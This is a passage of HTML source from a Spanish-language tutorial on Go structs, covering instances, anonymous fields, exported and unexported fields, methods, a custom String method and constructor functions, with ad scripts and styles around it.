JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;crear-instancias-de-un-struct-en-go&#34;&gt;Crear instancias de un struct en go&lt;/h3&gt;&#xA;&lt;p&gt;Una vez definida la estructura de nuestro struct se pueden crear instancias del mismo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; myVideogame = Videogame{Title: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nier&amp;#34;&lt;/span&gt;, Year: &lt;span style=&#34;color:#ff9f43&#34;&gt;2017&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Esto de abajo solo dentro de una función&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;myVideogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; Videogame{Title: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nier&amp;#34;&lt;/span&gt;, Year: &lt;span style=&#34;color:#ff9f43&#34;&gt;2017&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También es posible crear una instancia declarando el tipo de dato y después asignando un valor a los campos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; myVideogame Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;myVideogame.Title = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nier&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si no especificamos un valor, se asignará el respectivo zero value al &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;tipo de variable de go.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(myVideogame)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// {Nier 0}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;campos-anonimos-en-structs&#34;&gt;Campos anónimos en structs&lt;/h2&gt;&#xA;&lt;p&gt;En go, &lt;strong&gt;es posible no declarar el nombre del campo de nuestro struct y colocar únicamente el tipo de dato&lt;/strong&gt;. Hecho así, los campos adoptarán el nombre del tipo de dato y podemos acceder a ellos usándolos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Videogame &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; { &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;myVideogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; Videogame{&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Titulo&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;2017&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(myVideogame)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// imprime {Titulo 2017}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;¿Y que pasa si queremos un struct con muchos campos de un mismo tipo? Esta característica &lt;strong&gt;no funcionará si tenemos múltiples campos del mismo tipo en nuestro struct&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;privacidad-y-encapsulacion-en-los-structs&#34;&gt;Privacidad y encapsulación en los structs&lt;/h2&gt;&#xA;&lt;p&gt;Para marcar un struct, función o variable como privada o pública, igual que sus respectivos campos para el struct, &lt;strong&gt;basta con declarar la primera letra del campo con mayúsculas o minúsculas&lt;/strong&gt;, para público y privado, respectivamente.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744692459/coffee-bytes/golang-encapsulation_brfvjo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744692459/coffee-bytes/golang-encapsulation_brfvjo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diagrama de reglas de privacidad de Golang&#34; width=&#34;1948&#34; height=&#34;447&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Personalmente, creo que este es uno de los aspectos más complicados de este lenguaje, ¿por qué? porque cuando necesites buscar un campo privado, probablemente necesites usar regex, en lugar de simplemente buscar por la palabra &lt;em&gt;private&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Acceder a una entidad privada desde otro módulo, ajeno a donde se declara**,** será imposible. Mientras que las entidades públicas son accesibles desde cualquier modulo, incluso si el struct no se declaró ahí&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mayúsculas, público, accesible dentro y fuera del paquete donde se declara.&lt;/li&gt;&#xA;&lt;li&gt;minúsculas, privado, solo accesible dentro del paquete donde se declara.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Videogame struct que representa a videogame&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Videogame &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Title &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Year &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;composicion-y-structs-en-go&#34;&gt;Composición y structs en go&lt;/h2&gt;&#xA;&lt;p&gt;Podemos agrupar funcionalidades que involucren a nuestros structs declarando funciones que accedan a estos.&lt;/p&gt;&#xA;&lt;p&gt;Puedes pensar en estos como los métodos de una clase.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-acceder-a-los-structs-en-un-metodo-en-go&#34;&gt;¿Cómo acceder a los structs en un método en Go?&lt;/h3&gt;&#xA;&lt;p&gt;Para acceder a instancias de structs en las funciones necesitamos colocar un par de parentesis entre la keyword &lt;em&gt;func&lt;/em&gt; y el nombre de la función. Estos paréntesis contienen el nombre que usaremos para acceder a la instancia del struct, seguido del caracter de desestructuración y, por último, el nombre del struct.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744691812/coffee-bytes/struct-inheritance-golang_geyh9o.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744691812/coffee-bytes/struct-inheritance-golang_geyh9o.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Composición en Go, diagrama&#34; width=&#34;1830&#34; height=&#34;560&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (myStructVariable &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;Videogame) &lt;span style=&#34;color:#57c7ff&#34;&gt;PrintYear&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(myStructVariable.Year)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el interior de la función, los campos del struct estarán disponibles usando punteros, lo pasamos dentro del parentesis con el caracter de desestructuración.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (myStructVariable &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;Videogame) &lt;span style=&#34;color:#57c7ff&#34;&gt;IncreaseYear&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    myStructVariable.Year = myStructVariable.Year &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y una vez declarado este &amp;ldquo;método&amp;rdquo;, podemos llamar al método que creamos a través de una instancia del struct. &lt;strong&gt;Nota como no recibe ningún argumento sino que se comporta como un método.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;videogame.&lt;span style=&#34;color:#57c7ff&#34;&gt;IncreaseYear&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;personalizar-el-print-de-un-struct-en-go&#34;&gt;Personalizar el print de un struct en go&lt;/h3&gt;&#xA;&lt;p&gt;Si declaramos una función para personalizar el output en consola llamada &lt;em&gt;String&lt;/em&gt;, reemplazaremos lo que devuelve el struct cuando lo imprimimos.&lt;/p&gt;&#xA;&lt;p&gt;Piensa en esto como cuando reemplazas el método &lt;strong&gt;str&lt;/strong&gt; en Python.&lt;/p&gt;&#xA;&lt;p&gt;Nota la ausencia del operador de desestructuración en el parentesis en el primer set de paréntesis y como uso el método Sprintf del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/&#34;&gt;paquete fmt de go&lt;/a&gt;&#xA; para devolver un string.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (myStructVariable Videogame) &lt;span style=&#34;color:#57c7ff&#34;&gt;String&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; { &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sprintf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Titulo: %s, Año: %d&amp;#34;&lt;/span&gt;, myStructVariable.Title, myStructVariable.Year) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora cada vez que se imprimamos un struct obtendremos una cadena de texto con la sintaxis que declaramos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(myVideogame)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Titulo: Nier, Año: 2017&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;constructores-en-go&#34;&gt;Constructores en go&lt;/h2&gt;&#xA;&lt;p&gt;Go &lt;strong&gt;no tiene un mecanismo similar a los constructores de otros lenguajes orientados a objetos&lt;/strong&gt;. Empero, es bastante común crear una función que los emule, devuelviendo un objeto ya inicializado con los parámetros que querramos aplicar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;NewVideogame&lt;/span&gt;(year &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, title &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;Videogame {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;Videogame{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Title: title,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        Year: year,     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esta copia de un constructor es capaz de crear instancias de nuestro struct &lt;em&gt;Videogame&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nier &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;NewVideogame&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;2017&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nier&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;nier)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// {Nier 